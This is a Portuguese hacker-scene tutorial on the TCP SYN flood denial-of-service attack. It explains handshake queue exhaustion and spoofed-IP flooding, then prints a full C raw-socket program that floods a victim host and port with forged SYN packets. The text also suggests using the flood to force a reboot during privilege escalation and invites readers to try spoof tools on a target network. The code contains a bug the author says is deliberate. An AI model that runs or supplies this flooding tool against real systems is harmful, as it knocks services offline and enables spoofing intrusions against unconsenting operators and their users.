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########################### UNSEKURITY SCENE #############################
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Desenvolvido por Martin Fallon.
mar_fallon@yahoo.com.br

Estes e outros artigos podem ser obtidos em:
http://unsekurity.virtualave.net/

OBS: O Autor nao se reponsabiliza pelos mau uso dos dados e informacoes
     aqui disponibilizados! Todos os dados e exemplos possuem somente
     propositos educacionais!

OBS: Elites que se fecham em grupinhos, pseudo-elites que mudam home pages
     e Analistas de Seguranca desonestos, favor nao ler este artigo! Nao
     ha nada de util para voces nele!


                      *****************************
                      *   SYN FLOOD - A TECNICA   *
                      *****************************


1 - Introducao
2 - A tecnica
    2.1 - A Teoria
    2.2 - A Pratica
    2.3 - Utilidades Reais
3 - Terminando
    3.1 - Links e Referencias
    3.2 - Consideracoes Finais

1 - Introducao  
---------------

Qual o hacker que nao quis executar um "Blind Spoof"??  Synflood eh
uma tecnica de DoS(Denial of Service) que ficou muito conhecida por conta
da real "indefesa" que muitos sistemas tinham no que diz respeito a ela!
Um conceito inteligente que procura explorar uma das inumeras vulnerabilidades 
do protocolo TCP/IP(usado atualmente na Internet - 2001).

Acredita-se que Kevin David Mitnick usou o synflood em um exploit para
conseguir implementar com sucesso um blind spoof na rede do "perito"(que
deixava a porta do finger e servicos r* habilitados) em seguranca Tsutomu
Shimomura, no final de 1994! Nada comprovado?

Mas a tecnica do SynFlood eh real! E tem suas utilidades! Neste simples
artigo, pretendo abordar o conceito, mostrando uma visao geral do cenario
onde esta tecnica pode ser implementada! Nao pretendo abordar aspectos de
seguranca(ainda nao existe nada 100%), de modo que este material eh voltado
ao pessoal newbie fucador(unsek scene)! Se voce eh elite ou pseudo-elite,
favor nao ler, pois perderah seu tempo!


2 - A Tecnica
--------------

Se Mitnick o fez ou nao, isto nao importa! Nos podemos fazer, isso importa!
Como toda tecnica de DoS, o synflood precisa ser executado com cautela! 
Olhando sobre a etica realistica, o synflood eh capaz de ser usado para
prover acesso a sistemas para maior obtencao de conhecimentos, mas tambem
pode retardar o fluxo de dados, afinal, uma rede ou um host permanecerah
"dormindo" por alguns instantes! O synflood jamais deve ser usado com o
unico intuito de "derrubar por derrubar"! Quem faz isso, ou eh cracker ou
eh lamer! Uma rede ou um host derrubado eh um desperdicio, de recursos,
de tempo e de conhecimento! Num item mais abaixo, poderemos ver quais as
reais utilidades que esta tecnica possui para um fucador etico!


2.1 - A Teoria
---------------

O Protocolo TCP/IP usado na Internet foi construido no termino da decada
de 60! Implementado com sucesso em redes militares, logo se expandiu em
universidades e mais a frente no que vemos hoje como Internet! O TCP/IP
foi criado para ser usado sem a necessidade de pensar seriamente em
seguranca! Muitos dos conceitos, antes revolucionarios e precisos, se
tornaram furos serissimos de seguranca, capazes de dar um enorme poder
aos detentores de tal conhecimento e de assustar a todos que se utilizavam
de tal servico(Internet).

Como nao poderia deixar de ser, os hackers forcaram as coisas! Por volta
de 1985, Steve Belovin, teorizou e detectou uma serie de problemas
referentes ao TCP/IP e que em determinados casos poderia ser capaz de gerar
graves furos de seguranca! O artigo de Belovin parece ter "passado batido",
pois foi somente com a massificacao da Internet e o crescente numero de
ataques que medidas de seguranca passaram a ser adotadas! A tecnica de
Blind Spoof(ainda atual) soh passou a ter popularidade, apos o "incidente"
com Kevin Mitnick! Hackers!! Sempre eles forcando as coisas para um mundo
melhor!:)

O synflood explora algumas vulnerabilidades existentes entre o conceito da
Internet e o esquema com que os sistemas operacionais tratam uma requisicao
de conexao! Todos que conhecem o basico sobre TCP/IP, sabem que o processo
inicial de uma conexao se chama "handshake".O handshake, eh o procedimento
preludio, onde atraves de 3 vias, se pode efetuar o inicio de qualquer
conexao na internet! Vejamos o diagrama abaixo, onde o host A irah tentar
abrir uma conexao com o host B:


  --------                           --------
 | Host A | -------- SYN -------- > | Host B |
  --------                           --------
  --------                           --------
 | Host A | < -----SYN+ACK -------- | Host B |
  --------                           --------
  --------                           --------
 | Host A | -------- ACK -------- > | Host B |
  --------                           --------

O host A solicita conexao atraves do envio de um pacote com o bit SYN
ativado! Em seguida, o host B responde a solicitacao do Host A enviando
um pacote com os bits SYN+ACK ativados! Por fim, para terminar o handshake,
o Host A envia um pacote contendo o bit ACK ativado para o Host B, a partir
de entao, as duas maquinas estarao conectadas e podem trocar dados entre si!

Abaixando um pouco mais o nivel, para os que desejam praticar Blind Spoof,
Podemos analisar outro diagrama do handshake abaixo:


  Host A                                     Host B

    |                                           |
    |                                           |
     --------------- SYN(x) -------------- >    |
    |                                           |
    |  < ------ SYN(y),ACK(x+1) --------------- 
    |                                           |
    |                                           |
     --------------- ACK(y+1) ------------ >    |


Analisando o modelo do handshake acima, podemos contemplar o "x" e o "y",
que nada mais sao do que os numeros de sequencia! Eh atraves da descoberta 
desses numeros de sequencia que se pode efetuar um ataque de Spoof(Blind e 
Non/Blind).Na verdade, basta para nos predizermos aquele numero "y" para 
podermos ser bem sucedidos! Requer um pouco de trabalho, mas isso fica para 
outro tutorial!

Quando se dah inicio a um pedido de conexao, enviamos o SYN para o Host
alvo, e em seguida, o host alvo nos envia um SYN+ACK! Apos o envio o host
alvo fica a espera do nosso pacote ACK para que se possa fechar o handshake
e dar inicio a troca de dados na conexao! Acontece, que este "tempo de
espera" pelo nosso pacote ACK final do handshake pode nos servir para
a implementacao de um ataque! Cada implementacao TCP/IP possui um
tamanho determinado da fila de requisicoes de conexao! Supondo(vulgarmente)
que um determinado Sistema Operacional tenha uma fila maxima de espera
pelos ACKs(fechamento do handshake) de 10 conexoes!Se nos enviarmos mais
de 10 SYNs e nao respondermos com ACKs, a fila ficarah cheia e se alguem
quiser se conectar terah de esperar ateh que o tempo limite de espera pelo
ACK termine e um novo espaco esteja disponivel na fila TCP/IP! Eh aqui
que entra o SYNFLOOD, se enviarmos alguns milhares de SYN para um
determinado host, e nao respondermos(spoofarmos o IP), mais cedo ou mais
tarde, a fila irah encher e se alguem quiser se conectar no mesmo, vai ter
que esperar!                      * fila aqui tem sentido real.

O diagrama abaixo pode facilitar ainda mais nossa compreensao:


 ---------------                          -----------
| Host Atacante |                        | Host Alvo |
 ---------------                          -----------
       |                                     (500)
       |                                       |
        ---> 100 SYNs -------------- >       (400)
       |                                       |
        ---> 200 SYNs -------------- >       (200)
       |                                       |
        ---> 300 SYNs -------------- >       (-100)

* Os numeros entre parenteses representam o tamanho atual de uma fila
  de espera de conexoes.

Podemos notar que o ataque SYNFLOOD acima sobrecarregou o sistema do
Host Alvo, enviando mais de 100 requisicoes do que a plataforma aguenta.
Dependendo do Sistema Operacional, da implementacao TCP/IP dele, e de
outros fatores(Firewall, etc), este ataque pode ser bastante efetivo! 

2.2 - A Pratica
----------------

Nao existe muito misterio em se floodar uma rede usando SYN-Flood! 
Programacao basica de Raw Sockets pode nos dar poder para criarmos uma
ferramenta capaz de executar um SYNFLOOD sem problemas! Como a arquitetura
Internet(TCP/IP) estah fundamentada no handshake, e este handshake por sua
vez soh pode ser concretizado com o uso do bit SYN, podemos contemplar que
se torna muito dificil para um adminitrador de rede "lutar" contra este
tipo de Denial of Service! Quando implementado com ferramentas distribuidas,
o SYNFLOOD se torna mais efetivo ainda!

Abaixo nos podemos ver um exemplo de um programa executor de SYNFLOOD.


------------------------------- syn2002.c ------------------------------
/* Programa SYN-FLOOD - Projeto Spoof/2002 Unsekurity Scene.
 * Desenvolvido por Martin Fallon(mar_fallon@yahoo.com.br)
 * Este programa faz parte de um projeto de descricao pormenorizada
 * de todas as tecnicas de IP Spoof amplamente difundidas.
 * Caso queira colaborar, favor entrar em contato com a Unsekurity Scene.
 * http://unsekurity.virtualave.net/
 * Thanks a todos da Unsekurity Scene.
 * OBS: Este codigo tem um pequeno erro para desencorajar script kiddies!
 */

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <netdb.h>

#define NUM_PACOTES    10000
#define ERRO              -1

/* Funcao flood e checksum */

int flood(unsigned short porta, unsigned int hacker, unsigned int vitima);
unsigned short in_cksum (unsigned short *end, int tamanho);

int main(int argc, char *argv[]) {
unsigned int num_pacotes = NUM_PACOTES;
int i;
unsigned int porta;

if(argc < 3) {
printf("***************************************************************\n");
printf("*****  Projeto Spoof/2002 - SYNFLOOD by Martin Fallon   ******\n");
printf("***************************************************************\n");
printf("\nUso: %s <ip_origem> <ip_vitima> <porta> num_pacote\n",argv[0]);
exit(0);
}

/* Necessita ser root para usar RAW SOCKS em muitos sistemas! */

if(geteuid() != 0) {
fprintf(stderr,"Erro: necessita ser root!!\n");
exit(ERRO);
}

if (argc = 4)   porta = atoi(argv[3]);
if (argc = 5)   num_pacotes =  atoi(argv[4]); 

for(i = 0; i < num_pacotes; i++) {
flood(porta, inet_addr(argv[1]), inet_addr(argv[2]));
printf(".");
}
puts("\n");
printf("Pacotes Enviados com Sucesso!!\n");
printf("Unsekurity Scene - A Cena Hacker Brasileira!!!!\n\n");
return 0;
}

int flood(unsigned short porta, unsigned int hacker, unsigned int vitima){

   struct tcphdr meu_tcp;

/* Pseudo Header para manipular enderecos */

   struct pseudo_header {
      unsigned int source_address;
      unsigned int dest_address;
      unsigned char placeholder;
      unsigned char protocol;
      unsigned short tcp_length;
      struct tcphdr tcp;
   }pseudo_header;

   int Meusocket;
   struct sockaddr_in alvo;
   int tam_alvo;
   static int blah = 0;

   blah++;


meu_tcp.source = getpid() + blah;
meu_tcp.dest = htons(porta);
meu_tcp.seq = getpid() + blah;
meu_tcp.ack_seq = 0;
meu_tcp.res1 = 0;
meu_tcp.doff = 5;
meu_tcp.res2 = 0;
meu_tcp.fin = 0;
meu_tcp.syn = 1; /* Bit SYN ativado */
meu_tcp.rst = 0;
meu_tcp.psh = 0;
meu_tcp.ack = 0;
meu_tcp.urg = 0;
meu_tcp.window = htons(512);
meu_tcp.check = 0;
meu_tcp.urg_ptr = 0;

pseudo_header.source_address = hacker;
pseudo_header.dest_address = vitima;
pseudo_header.placeholder = 0;

pseudo_header.protocol = IPPROTO_TCP;
pseudo_header.tcp_length = htons(20);
bcopy(&meu_tcp, &pseudo_header.tcp, 20);
meu_tcp.check = in_cksum((unsigned short *)&pseudo_header, 32);

alvo.sin_family = AF_INET;
alvo.sin_port = htons(porta);
alvo.sin_addr.s_addr = vitima;
tam_alvo=sizeof(alvo);


Meusocket = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if(Meusocket < 0){
 fprintf(stderr, "Nao pode abrir raw socket!\n");
 exit(1);
}

/* sendto() envia nosso pacote construido. */

sendto(Meusocket, &meu_tcp, 20, 0, (struct sockaddr *)&alvo,tam_alvo);
return 0;
}

/* Checksum */

unsigned short in_cksum(unsigned short *end, int tamanho)
{
register long           sum;
u_short                 oddbyte;
register u_short        answer;

sum = 0;
        while (tamanho > 1)  {
        sum += *end++;
        tamanho -= 2;
        }
        if (tamanho == 1) {
        oddbyte = 0;
        *((u_char *) &oddbyte) = *(u_char *)end;
        sum += oddbyte;
        }

sum  = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}

-----------------------------------------------------------------------


Cada sistema operacional pode responder de um jeito! Alguns, apenas o
daemon(servico alvo) cai! Outros, o sistema trava! Alguns executam
"saltos", ou seja, detectam o SYNFLOOD e tentam fugir dele! Enfim, varia,
mas geralmente pode-se ser sucedido!


2.3 - Utilidades Reais
------------------------

Como jah foi dito, o SYNFLOOD nao deve ser executado com o mero intuito de
"derrubar para prejudicar".A ideia eh a implementacao de tecnicas Spoof
mais avancadas como Blind/NonBlind Spoof! Acreditem, estamos em 2001 e
ainda eh possivel executarmos estas tecnicas em varios sistemas!

Temos que ter conciencia que esta tecnica nao deve ser usada por
divertimento! O hacking eh coisa seria, e como todos devem saber, eh
bastante perigoso! A utilidade do SYNFLOOD pode ir mais alem, em alguns
casos, se requer que derrubemos a maquina para executar algo.. um exemplo
eh um bug no Red Hat Apolo onde um arquivo de configuracao do /etc/rc.d
tem permissao de escrita para todo mundo! Um usuario que obteve shell
comum(nao root) neste sistema pode sobrescrever este arquivo e atraves do
SYNFLOOD forcar a reinicializacao da maquina! Este tipo de cenario eh
bastante comum em ambientes Windows NT.

3 - Terminando 
---------------

Mais um artigo basico para o pessoal NewBie Fucador! Juizo na execucao
desta tecnica! Entenda a teoria e poderah contemplar maiores esquemas na
implementacao dela!


3.1 - Links e Referencias
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http://unsekurity.virtualave.net/txts/socketsII.txt
http://phrack.infonexus.com/  - "IP-spoofing Demystified"
http://packetstorm.securify.com/papers/protocols/ipext.ps

3.2 - Consideracoes Finais
---------------------------

Estou iniciando um projeto duradouro que visa criar ferramentas proprias
para todo tipo de Spoof! Isso mesmo! Sabemos que eh algo complexo e
trabalhoso, por isso estamos estipulando um prazo gigantesco! Por que de
se fazer isso??? - Aprendizado!!

Eu jah tive o prazer de usar muitas ferramentas de spoof! Em varias ateh
cheguei a ter que alterar o fonte para funcionar perfeitamente! Mas eu
nao estou satisfeito, afinal, qualquer um pode fazer isso(executar
ferramenta dos outros), de modo que pretendo ir mais fundo nesse conceito!

Ha muito a se dizer sobre Spoof, e espero em breve poder ir liberando mais
material! Existem varias ferramentas publicas e se voce quiser ter uma
ideia da pratica, pode testa-la em uma rede alvo!

Agradeco a todo pessoal da Unsekurity Scene! E espero que mais e mais
pessoas sintam a necessidade e se tornem concientes do aprendizado do
hacking etico!

Um Abraco a Todos.

Martin Fallon.

